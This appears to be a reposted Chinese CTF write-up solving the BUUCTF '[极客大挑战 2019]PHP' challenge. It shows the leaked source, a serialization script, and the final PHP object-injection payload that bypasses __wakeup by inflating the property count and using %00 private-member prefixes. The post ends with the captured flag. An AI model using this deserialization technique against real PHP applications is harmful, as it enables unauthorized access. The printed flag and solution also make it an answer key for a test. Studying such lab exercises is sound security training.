当前位置:   article > 正文

buuctf-web-[极客大挑战 2019]PHP1_buuctf php1

buuctf php1

打开环境,发现提示有备份文件,用dirsearch扫一遍,获得备份文件

 打开压缩包

flag.php内的flag是假的 

 

 index.php文件内容发现传参地址,对select进行传参

class.php对内容进行限制

  1. <?php
  2. include 'flag.php';
  3. error_reporting(0);
  4. class Name{
  5. private $username = 'nonono';
  6. private $password = 'yesyes';
  7. public function __construct($username,$password){
  8. $this->username = $username;
  9. $this->password = $password;
  10. }
  11. function __wakeup(){
  12. $this->username = 'guest';
  13. }
  14. function __destruct(){
  15. if ($this->password != 100) {
  16. echo "</br>NO!!!hacker!!!</br>";
  17. echo "You name is: ";
  18. echo $this->username;echo "</br>";
  19. echo "You password is: ";
  20. echo $this->password;echo "</br>";
  21. die();
  22. }
  23. if ($this->username === 'admin') {
  24. global $flag;
  25. echo $flag;
  26. }else{
  27. echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
  28. die();
  29. }
  30. }
  31. }
  32. ?>

观察代码,发现需要username=admin,password=100才能获取flag

进行反序列化

  1. <?php
  2. class Name{
  3. private $username = 'nonono';
  4. private $password = 'yesyes';
  5. public function __construct($username,$password){
  6. $this->username = $username;
  7. $this->password = $password;
  8. }
  9. }
  10. $a = new Name('admin', 100);
  11. var_dump(serialize($a));
  12. ?>

运行 

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

payload结构

?select=O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}

但是反序列化时会先运行__wakeup函数,对username赋值guest,需要绕过

在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),去执行__destruct

将name后面的2改为3即可

构造payload 

?select=O:4:“Name”:3:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}

url识别不了",将"改为%22

O:4:%22Name%22:3:{s:14:%22Nameusername%22;s:5:%22admin%22;s:14:%22Namepassword%22;i:100;}

因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。

O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

最终payload为

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

 输入获得flag

flag{32f836a0-b106-4f56-b5f8-647b87816c02}

 

 

 

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/464241
推荐阅读
相关标签
  

闽ICP备14008679号